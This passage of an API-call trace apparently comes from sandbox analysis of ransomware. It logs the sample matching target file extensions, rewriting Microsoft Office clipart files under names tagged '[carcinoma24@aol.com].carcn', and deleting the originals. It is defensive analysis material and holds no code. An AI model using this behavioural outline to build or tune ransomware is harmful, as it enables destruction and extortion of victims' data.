returned 4 [0278.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.231] lstrlenW (lpString=".rar") returned 4 [0278.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.232] lstrlenW (lpString=".bz2") returned 4 [0278.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.232] lstrlenW (lpString=".7z") returned 3 [0278.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.232] lstrlenW (lpString=".dbf") returned 4 [0278.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.232] lstrlenW (lpString=".1cd") returned 4 [0278.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0278.232] lstrlenW (lpString=".jpg") returned 4 [0278.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.232] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0278.232] lstrlenW (lpString="DD01630_.WMF") returned 12 [0278.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0278.233] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=296) returned 1 [0278.233] CloseHandle (hObject=0x4ac) returned 1 [0278.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0278.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0278.234] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.234] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0278.235] GetLastError () returned 0x0 [0278.235] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x128, lpOverlapped=0x0) returned 1 [0278.237] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x130, lpOverlapped=0x0) returned 1 [0278.238] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.238] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.259] SetEndOfFile (hFile=0x538) returned 1 [0278.259] CloseHandle (hObject=0x538) returned 1 [0278.260] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.260] SetEndOfFile (hFile=0x4ac) returned 1 [0278.265] CloseHandle (hObject=0x4ac) returned 1 [0278.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0278.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.268] lstrlenW (lpString=".doc") returned 4 [0278.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.268] lstrlenW (lpString=".docx") returned 5 [0278.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.268] lstrlenW (lpString=".pdf") returned 4 [0278.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.268] lstrlenW (lpString=".xls") returned 4 [0278.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.268] lstrlenW (lpString=".xlsx") returned 5 [0278.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.268] lstrlenW (lpString=".ppt") returned 4 [0278.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.269] lstrlenW (lpString=".zip") returned 4 [0278.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.269] lstrlenW (lpString=".rar") returned 4 [0278.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.269] lstrlenW (lpString=".bz2") returned 4 [0278.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.269] lstrlenW (lpString=".7z") returned 3 [0278.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.269] lstrlenW (lpString=".dbf") returned 4 [0278.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.269] lstrlenW (lpString=".1cd") returned 4 [0278.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.269] lstrlenW (lpString=".jpg") returned 4 [0278.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.270] lstrlenW (lpString=".doc") returned 4 [0278.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.270] lstrlenW (lpString=".docx") returned 5 [0278.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.270] lstrlenW (lpString=".pdf") returned 4 [0278.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.270] lstrlenW (lpString=".xls") returned 4 [0278.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.270] lstrlenW (lpString=".xlsx") returned 5 [0278.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.270] lstrlenW (lpString=".ppt") returned 4 [0278.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.270] lstrlenW (lpString=".zip") returned 4 [0278.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.270] lstrlenW (lpString=".rar") returned 4 [0278.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.270] lstrlenW (lpString=".bz2") returned 4 [0278.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.270] lstrlenW (lpString=".7z") returned 3 [0278.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.271] lstrlenW (lpString=".dbf") returned 4 [0278.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.271] lstrlenW (lpString=".1cd") returned 4 [0278.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0278.271] lstrlenW (lpString=".jpg") returned 4 [0278.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.272] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0278.272] lstrlenW (lpString="DD01761_.WMF") returned 12 [0278.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0278.273] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4148) returned 1 [0278.273] CloseHandle (hObject=0x4ac) returned 1 [0278.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0278.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0278.275] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.275] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0278.276] GetLastError () returned 0x0 [0278.276] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1034, lpOverlapped=0x0) returned 1 [0278.290] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1040, lpOverlapped=0x0) returned 1 [0278.292] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.292] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.292] SetEndOfFile (hFile=0x538) returned 1 [0278.292] CloseHandle (hObject=0x538) returned 1 [0278.292] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.292] SetEndOfFile (hFile=0x4ac) returned 1 [0278.298] CloseHandle (hObject=0x4ac) returned 1 [0278.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0278.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0278.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0278.300] lstrlenW (lpString=".doc") returned 4 [0278.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.300] lstrlenW (lpString=".docx") returned 5 [0278.300] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.300] lstrlenW (lpString=".pdf") returned 4 [0278.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.300] lstrlenW (lpString=".xls") returned 4 [0278.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.300] lstrlenW (lpString=".xlsx") returned 5 [0278.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.300] lstrlenW (lpString=".ppt") returned 4 [0278.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0278.300] lstrlenW (lpString=".zip") returned 4 [0278.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.300] lstrlenW (lpString=".rar") returned 4 [0278.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.301] lstrlenW (lpString=".bz2") returned 4 [0278.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.301] lstrlenW (lpString=".7z") returned 3 [0278.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0278.301] lstrlenW (lpString=".dbf") returned 4 [0278.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0278.301] lstrlenW (lpString=".1cd") returned 4 [0278.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0278.301] lstrlenW (lpString=".jpg") returned 4 [0278.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.302] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3252) returned 1 [0278.302] CloseHandle (hObject=0x4ac) returned 1 [0278.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0278.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0278.303] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.303] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0278.305] GetLastError () returned 0x0 [0278.306] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0278.322] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0278.324] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.324] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.324] SetEndOfFile (hFile=0x538) returned 1 [0278.324] CloseHandle (hObject=0x538) returned 1 [0278.324] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.324] SetEndOfFile (hFile=0x4ac) returned 1 [0278.746] CloseHandle (hObject=0x4ac) returned 1 [0278.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0279.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0279.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0279.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0279.976] lstrlenW (lpString=".doc") returned 4 [0279.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.976] lstrlenW (lpString=".docx") returned 5 [0279.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.976] lstrlenW (lpString=".pdf") returned 4 [0279.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.976] lstrlenW (lpString=".xls") returned 4 [0279.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.976] lstrlenW (lpString=".xlsx") returned 5 [0279.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.976] lstrlenW (lpString=".ppt") returned 4 [0279.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0279.977] lstrlenW (lpString=".zip") returned 4 [0279.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.977] lstrlenW (lpString=".rar") returned 4 [0279.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.979] lstrlenW (lpString=".bz2") returned 4 [0279.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.979] lstrlenW (lpString=".7z") returned 3 [0279.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0279.979] lstrlenW (lpString=".dbf") returned 4 [0279.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0279.980] lstrlenW (lpString=".1cd") returned 4 [0279.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0280.042] lstrlenW (lpString=".jpg") returned 4 [0280.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.043] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17308) returned 1 [0280.043] CloseHandle (hObject=0x554) returned 1 [0280.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0280.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0280.044] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.044] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0280.047] GetLastError () returned 0x0 [0280.047] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x439c, lpOverlapped=0x0) returned 1 [0280.049] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x43a0, lpOverlapped=0x0) returned 1 [0280.050] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.050] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.051] SetEndOfFile (hFile=0x540) returned 1 [0280.051] CloseHandle (hObject=0x540) returned 1 [0280.051] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.051] SetEndOfFile (hFile=0x554) returned 1 [0280.054] CloseHandle (hObject=0x554) returned 1 [0280.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0280.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0280.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0280.057] lstrlenW (lpString=".doc") returned 4 [0280.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.057] lstrlenW (lpString=".docx") returned 5 [0280.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.058] 